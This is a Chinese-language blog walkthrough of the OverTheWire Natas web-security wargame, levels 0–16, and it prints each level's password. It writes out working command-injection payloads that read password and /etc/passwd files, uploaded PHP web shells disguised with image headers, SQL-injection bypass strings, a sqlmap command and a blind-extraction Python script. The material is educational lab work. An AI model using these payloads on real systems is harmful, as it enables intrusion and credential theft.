natas通关笔记

0-10

0

访问:http://natas0.natas.labs.overthewire.org/
用户和密码都是natas0
登陆后通过查看页面源码我们可以看到下一级密码为:

gtVrDuiDfck831PqWsLEZy5gyDz1clto

1

访问:http://natas1.natas.labs.overthewire.org/
登进去页面显示:
You can find the password for the next level on this page, but rightclicking has been blocked!
脑海中不禁想起了那两幅图,一副电脑提示你无权关掉这台计算机,一副拔了它的充电插头,哈哈回归正题,像这种情况,暗示着你源码里面还有密码,但是你无法右键查看,我是用的chrome浏览器,直接ctrl+u,快捷键查看源码,类似这种题之前在xctf做到过,果然在源码中得到密码如下:

ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi

2

再次查看源码,发现一个一个img标签,点击进去,看到url为http://natas2.natas.labs.overthewire.org/files/pixel.png,几乎是本能的去掉pixel.png继续访问http://natas2.natas.labs.overthewire.org/files,可以看到有一个users.txt,这是因为权限没有设置好导致暴露了敏感信息,得到下级密码:

sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14

3

页面显示There is nothing on this page
无奈先再次查看源码,发现提示如下:
<!-- No more information leaks!! Not even Google will find it this time... -->
Google不会找到它,那么robots.txt文件里面肯定有东西
关于robot协议,就是一般网站不希望搜索引擎搜到它们的哪些目录就会写到http://ip/robots.txt文件中,如以下形式

User-agent: *
Disallow: /s3cr3t/

不过这么做倒是有些此地无银三百两的感觉,
访问http://natas3.natas.labs.overthewire.org/s3cr3t/
找到users.txt,得到下级密码为:

Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

4

得到以下提示信息:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"
这里就涉及到referer,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,可用于计算网页链接的访问量。
所以我们伪造referer即可,这里我直接用的chrome插件ModHeader谷歌插件中心)进行修改:
在这里插入图片描述
当然也还有其他方法,比如通关curl命令(菜鸟教程,curl命令详解):

curl -isu natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ natas4.natas.labs.overthewire.org --referer "http://natas5.natas.labs.overthewire.org/"

这里简单说一下涉及到的-isu参数:

i输出时包括protocol信息
s静默模式。该参数不使用也可以,类似于linux里面的-v命令,显示命令执行过程的一些详细信息
u设置服务器的用户和密码

得到下级密码:

iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

5

登陆进去,页面提示如下:
Access disallowed. You are not logged in
提示我们没有登陆,那么首先想到的就是cookie了,那么cookie是做什么的呢,打个比方,就像小区的大门,需要该小区的门禁卡,你才能进入小区一样,你登陆进服务之后,会生成一个cookie,这个cookie保存在你的客户端,下次你登录只需要亮出你的cookie即可,这里顺便一提,如果我的“门禁卡”掉了,cookie被别人窃取,那该怎么办,岂不是很不安全,所以又诞生了token验证,有门禁卡没用,你还得说出你们根据某个规则生成的约定好的暗号,不然你还是进不去,这个暗号就是token了,而且token不是一成不变的,这个就要看服务器端给出的token生成的规则了。

这里我们可以通过curl获取cookie:

curl -isu natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq natas5.natas.labs.overthewire.org | grep -i cookie

注:grep 查找命令,-i忽略大小写
得到Set-Cookie: loggedin=0
这里直觉会让我们把loggedin的值改为1,一个表示不在登陆状态,一个表示在登陆状态,同样的可以使用curl命令修改(当然也可以用modheader插件修改,或者使用burpsuite抓包修改):

curl -isu natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq natas5.natas.labs.overthewire.org --cookie "loggedin=1"

得到下级密码:

aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1

6

比较贴心,还可以看源码,发现有如下脚本:

<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>

可以看到includes/secret.inc包含了这么一个文件,通过用户输入的secret与之进行对比,判断用户是否输入正确,直接访问:

http://natas6.natas.labs.overthewire.org/includes/secret.inc

得到secret为FOEIUWGHFEEUHOFUOIU
再提交secret得到下级密码:

7z3hEENjQtflzgnT29q7wAvMNfZdh0i9

7

登陆进去发现有Home和About两个选项,点击Home后发现url变成了:http://natas7.natas.labs.overthewire.org/index.php?page=home,直觉告诉我们这是一个文件包含,我们将后面的page参数赋值一些其他的值如/,\,或者不赋值,先观察是否有报错,果然访问:http://natas7.natas.labs.overthewire.org/index.php?page=./会有如下报错:
Warning: include(/): failed to open stream: No such file or directory in /var/www/natas/natas7/index.php on line 21 Warning: include(): Failed opening '/' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/natas/natas7/index.php on line 21
我们可以看到报错里面有提到include这个函数,这里就要提到一个词叫文件包含:
文件包含是开发语言自带的一个功能,程序员为了方便,或者是设计需求需要,写了一些文件包含进去,当文件包含的代码文件被写成了一个变量,且这个变量可以由前端传进来,则可能引发文件包含漏洞,分为本地包含和远程包含,可被攻击者利用搜集敏感信息
如此处,我们知道其主机是linux,那么一般都有/etc/passwd这个与用户信息相关的文件,我们访问:http://natas7.natas.labs.overthewire.org/index.php?page=/etc/passwd果然看到了所有的用户信息(但是/etc下存放了用户密码加密后的shadow文件无法读取)。
再次查看源码,发现提示:
<!-- hint: password for webuser natas8 is in /etc/natas_webpass/natas8 -->
那直接访问:

http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8

即可得到下级密码:

DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe

8

又是很贴心的有查看源码的选项,直接来看核心代码:

<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>

有点php基础便很容易看懂,变量encodedSecret的值为3d3d516343746d4d6d6c315669563362,然后是加密函数encodeSecret()(为了区分前面的变量encodedSecret,此处将该函数加个括号,变量是变量,函数是函数,不要混淆了,概念不一样,虽然它们同名),其参数是secret,后面一段是判断,由前端用户输入的secret值通过post提交,再经过encodeSecret()加密,判断是否为变量encodedSecret的值,也就是3d3d516343746d4d6d6c315669563362,那么我们只需要将其解密即可,加密函数怎么一步步加密的,我们就怎么一步步解密,就像剥洋葱,一层一层的剥开解掉,然后得到secret,那么依次按照bin2hex,strrev,base64进行解密,bin2hex是将字符串转为16进制,strrev是字符串反转(string reverse的缩写)

  • base64这里简单说一下:
    在二进制中,ASCII码是八位,来表示传统字符(如a-z,A-Z,还有一些符号等),base64是将二进制重新划分,6位一组,表示a-z和A-Z,刚好64字符,如果位数不够就添0,全0就用=表示,如下图:
    在这里插入图片描述
    通过菜鸟php在线运行工具运行如下代码:https://c.runoob.com/compile/1
<?php
echo base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>

得到oubWYf2kBq,提交后得到下级密码:

W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl

9

再次查看源码,看到以下关键代码:

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

passthru()函数和exec()函数类似,可以执行系统命令,如果没有进行限制滥用该函数,很可能会造成RCE(远程命令执行漏洞)。
利用 ;分号截断 grep命令,或者利用&&或||(&&前面命令执行成功,则执行下一条命令,||前面命令执行失败,则执行下一条命令),输入;cat /etc/natas_webpass/natas10;&cat /etc/natas_webpass/natas10;都可以
得到下级密码:

nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu

[0-9] /etc/natas_webpass/natas10

10

查看源码发现过滤了;|&
那么我们可以利用grep本身就是查找命令,可以利用正则表达式(关于其语法,可参考菜鸟教程)对natas11的密码文件进行查找,

[0-9] /etc/natas_webpass/natas11

得到下级密码:

U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

11-20

11

仍然可以观察源码,这里涉及到base64加密和异或运算
来看源码中关键的一部分:
前面给出的defaultdata,showpassword默认值为no:

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

然而进行判定时,要showpassword才能显示natas12的密码:

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}
?>

cookie是经过base64_encode(xor_encrypt(json_encode()))加密的:

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

首先我们先获取其cookie:

curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org|grep -i cookie

然后需要对这个加密后的cookie进行解密,获得最初的key值,然后通过key值将password=yes再计算一边cookie,再修改cookie即可获得下级密码

  • 对cookie进行解密
    分两步,1是先进行base64解密,2是异或解密,而异或的逆操作就是异或运算,所以再进行一次异或运算即可(有点类似于rot13)

脚本如下:

<?php
$orig_cookie = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');
function xor_encrypt($in) {
$text = $in;
$key = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));
$out = '';
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
echo xor_encrypt($orig_cookie);
?>

菜鸟php在线运行工具:https://c.runoob.com/compile/1
得出key为qw8J

根据源码中的函数,我们生成新的cookie,php脚本如下:

<?php
$defaultdata = array( "showpassword"=>"yes", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = 'qw8J';
$text = $in;
$out = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$out .= $text[$i] ^ $key[$i % strlen($key)];
}
return $out;
}
function loadData($def) {
$mydata = $def;
$tempdata = json_decode(xor_encrypt(base64_decode($data)), true);
return $mydata;
}
echo base64_encode(xor_encrypt(json_encode(loadData($defaultdata))))
?>

得到新cookie:ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
依然可以 通过curl修改cookie:

curl -isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK natas11.natas.labs.overthewire.org --cookie "data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK"

得到下级密码:

EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3

12

可以上传文件,这里第一时间想到图片马,直接上马,burpsuite还修改后缀,发现不行,参数报错没有定义,可能做了很严格的限制。
那么思路转变,上传一个php文件,让该php文件直接获取/etc/natas_webpass/natas13,然后访问该页面即可
写一个natas12.php:

<?
    passthru('cat /etc/natas_webpass/natas13');
?>

当然你也可以将passthru函数换为system函数,效果也是一样的:

<?
    system('cat /etc/natas_webpass/natas13');
?>

可通过curl命令上传文件到服务器(-F,模拟http表单提交数据,-F后面接@表示要上传的文件)

curl -isu natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 -F filename=randomFileName.php -F uploadedfile=@natas12.php http://natas12.natas.labs.overthewire.org

可以看到返回上传文件所在路径及文件名,访问得到下级密码:

jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY

13

页面提示我们只能上传图片文件,而且最大为1kb
可以看到源码中有一个exif_imagetype函数,这个仅仅只是对文件头进行校验,也就是我们只需要将文件头伪装为图片即可,如文件头为0xffd8ffe0(关于图片文件头标识可参考:https://blog.csdn.net/LiuBuZhuDeFanHua/article/details/82949144):

echo `printf  "\xff\xd8\xff\xaa"``cat  ./natas12.php` >natas13.php

注:echo命令可以用于创建新文件,``表示将里面的内容当作命令执行,\x表示转义字符,表示后面的字符是16进制数,用echo命令将该图片文件头标识与之前的natas12.php的内容连接起来,但是我们还要进natas13.php改一下改为获取natas14的密码

也可以直接将上一关我们创建的natas12.php,进行修改,直接添加GIF89a的文件头,如下:

GIF89a
<?php
system('cat /etc/natas_webpass/natas14');
?>

上传natas13.php:

curl -isu natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F filename=randomFileName.php -F uploadedfile=@natas13.php http://natas13.natas.labs.overthewire.org

通过返回的上传路径进行访问,获得下级密码:

Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1

14

进去一个古老的登陆界面,一看就是有sql注入的那种,如果你是纯小白,不知道什么是sql注入,或者对sql注入一知半解,那么建议观看此篇博文,讲解的很详细,从代码和原理层面详细分析了sql注入:https://www.cnblogs.com/sillage/p/13561868.html
直接先来一个万能登陆密码
由于不知道是什么闭合,我们百度了一下,发现此题是"闭合,
用户名输入" or 1=1#或者直接在密码出输入" or "1"="1(这关姿势多),点击登陆直接将此关拿下

也可以通过curl命令(不管怎样,原理都是一样的):

 curl -isu natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 http://natas14.natas.labs.overthewire.org?debug=1 -F "username=\"or 1=1 #"  -F "password=1"

下级密码为:

AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J

15

输入 '"发现前者正常,后者报错(虽然屏蔽了详细的报错信息),可以初步判断闭合方式应为"(不考虑有括号的情况下),可以考虑盲注
,虽然平常练习的时候,多推荐手工注入,但是利用工具可以让我们大大提高效率。
此处我们直接sqlmap跑(这里我是在centos7里面跑的,关于sqlmap各个参数可参考:https://www.cnblogs.com/Tempt/p/11194078.html):

python3 sqlmap.py -u http://natas15.natas.labs.overthewire.org/index.php --auth-type=basic --auth-cred=natas15:AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J --dbms=mysql --data username=natas16 --level=5 --risk=3 --technique=B --dump --string="This user exists"

简单说一下参数:–dbms指定数据库类型,–data,指定post参数,–technique指定注入类型,B表示blind盲注,–dump,保存获得的数据,保存路径在运行完后会有提示。
得到密码:

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

16

查看源码,有正则过滤;|&`’"都没法使用,但在PHP中,$()可以在引号中使用,先随便输入一个a进行搜索,发现url变为:

http://natas16.natas.labs.overthewire.org/?needle=a&submit=Search

可以看到是get方式提交,参数是needle,那么以此构造脚本:

# coding=utf-8
import requests
 
url = "http://natas16.natas.labs.overthewire.org/index.php"
auth=requests.auth.HTTPBasicAuth('natas16','WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')
chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz"
flag=""
 
i=0
while i < len(chr):
    payload = {'needle':'$(grep ^'+flag+chr[i]+' /etc/natas_webpass/natas17)wrong','submit':'Search'}
    req = requests.get(url=url, auth=auth, params=payload)
    if 'wrong' not in req.text:
        flag += chr[i]
        print(flag)
        i=0
        continue
    i+=1

注:该脚本直接copy自https://blog.csdn.net/weixin_42728957/article/details/105582445,本人没系统学过python,但是还是学过c,c艹,java,这段代码还是比较容易看懂,除了脚本编写,这里需要了解的是grep命令配合正则表达式的使用,后续可能会对本关内容进行补充。
下级密码:

8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

17

待续。。等待更新

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值